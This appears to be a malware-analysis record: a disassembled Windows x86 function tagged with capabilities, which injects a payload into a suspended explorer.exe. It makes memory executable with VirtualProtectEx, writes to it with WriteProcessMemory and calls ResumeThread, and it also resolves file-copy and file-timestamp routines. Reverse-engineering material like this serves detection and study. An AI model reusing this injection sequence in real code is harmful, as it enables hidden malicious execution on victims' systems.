Function at 0x401000
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd1c
push esi
push edi
push 0x44
xor eax, eax
pop edx
lea edi, [ebp - 0x54]
push 0x10
mov dword [ebp - 0x58], edx
pop ecx
mov esi, str.explorer.exe
rep stosd dword es:[edi], eax
push 6
lea edi, [ebp - 0xd1c]
pop ecx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x7b
lea edi, [ebp - 0xd02]
pop ecx
mov esi, dword [sym.imp.KERNEL32.dll_CreateProcessW]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x10]
lea ecx, [ebp - 0xd1c]
push eax
lea eax, [ebp - 0x58]
push eax
xor eax, eax
push eax
push eax
push edx
push eax
push eax
push eax
push ecx
push eax
call esi
test eax, eax
je 0x4012cd
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0xb10], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0xb08], eax
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0xb04], eax
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0xb00], eax
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
mov dword [ebp - 0xafc], eax
mov eax, dword [sym.imp.MSVCRT.dll_sprintf]
mov dword [ebp - 0xaf8], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov dword [ebp - 0xaf4], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov dword [ebp - 0xaf0], eax
mov eax, dword [sym.imp.MSVCRT.dll__wfopen]
mov dword [ebp - 0xaec], eax
mov eax, dword [sym.imp.MSVCRT.dll_fseek]
mov dword [ebp - 0xae8], eax
mov eax, dword [sym.imp.MSVCRT.dll_fwrite]
mov dword [ebp - 0xae4], eax
mov eax, dword [sym.imp.MSVCRT.dll_fread]
mov dword [ebp - 0xae0], eax
mov eax, dword [sym.imp.MSVCRT.dll_fclose]
mov dword [ebp - 0xadc], eax
mov eax, dword [sym.imp.MSVCRT.dll_malloc]
mov dword [ebp - 0xad8], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov dword [ebp - 0xacc], eax
mov eax, dword [sym.imp.MSVCRT.dll_wcscat]
mov dword [ebp - 0xac4], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xabc], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetFileTime]
mov dword [ebp - 0xab8], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov dword [ebp - 0xab4], eax
mov eax, dword [sym.imp.MSVCRT.dll_wcsrchr]
mov dword [ebp - 0xab0], eax
mov eax, dword [sym.imp.KERNEL32.dll_CopyFileW]
mov dword [ebp - 0xaac], eax
mov eax, dword [sym.imp.MSVCRT.dll__chsize]
mov dword [ebp - 0xaa8], eax
mov eax, dword [sym.imp.MSVCRT.dll__fileno]
mov dword [ebp - 0xaa4], eax
mov eax, dword [sym.imp.MSVCRT.dll_fflush]
mov dword [ebp - 0xaa0], eax
mov eax, dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 0xa9c], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetFileTime]
push ebx
mov ebx, dword [sym.imp.MSVCRT.dll_free]
push dword [ebp + 8]
mov dword [ebp - 0xa98], eax
mov dword [ebp - 0xad0], esi
mov esi, dword [sym.imp.MSVCRT.dll_wcscpy]
lea eax, [ebp - 0x88c]
mov dword [ebp - 0xb0c], edi
push eax
mov dword [ebp - 0xad4], ebx
mov dword [ebp - 0xac8], 0x401644
mov dword [ebp - 0xac0], esi
call esi
lea eax, [ebp - 0x86]
push 0x403040
push eax
call esi
lea eax, [ebp - 0x8c]
push 0x403038
push eax
call esi
lea eax, [ebp - 0x7e]
push 0x403030
push eax
call esi
lea eax, [ebp - 0x76]
push 0x403028
push eax
call esi
lea eax, [ebp - 0x6e]
push str..exe
push eax
call esi
lea eax, [ebp - 0x64]
push str.open
push eax
call esi
add esp, 0x38
xor eax, eax
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov word [ebp - 0x80], 0x5c
push eax
push eax
push eax
lea eax, [ebp - 0xb14]
push eax
push dword [ebp - 0x10]
call esi
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
lea eax, [ebp - 0xa94]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push dword [ebp - 0xc]
push dword [ebp - 0x10]
call fcn.00401346
mov esi, dword [ebp + 0xc]
lea ecx, [ebp + 0x10]
push esi
push ecx
push eax
mov dword [ebp + 8], eax
call fcn.004012d3
add esp, 0x14
lea eax, [ebp - 0x14]
push eax
lea eax, [esi + 0xaba]
push 0x40
push eax
push dword [ebp + 8]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0
push esi
push dword [ebp + 0x10]
push dword [ebp + 8]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
lea eax, [ebp - 0xb14]
push 0xaba
push eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0xc]
call edi
push dword [ebp - 0x10]
call edi
push dword [ebp + 0x10]
call ebx
pop ecx
push 1
pop eax
pop ebx
jmp 0x4012cf
xor eax, eax
pop edi
pop esi
leave
ret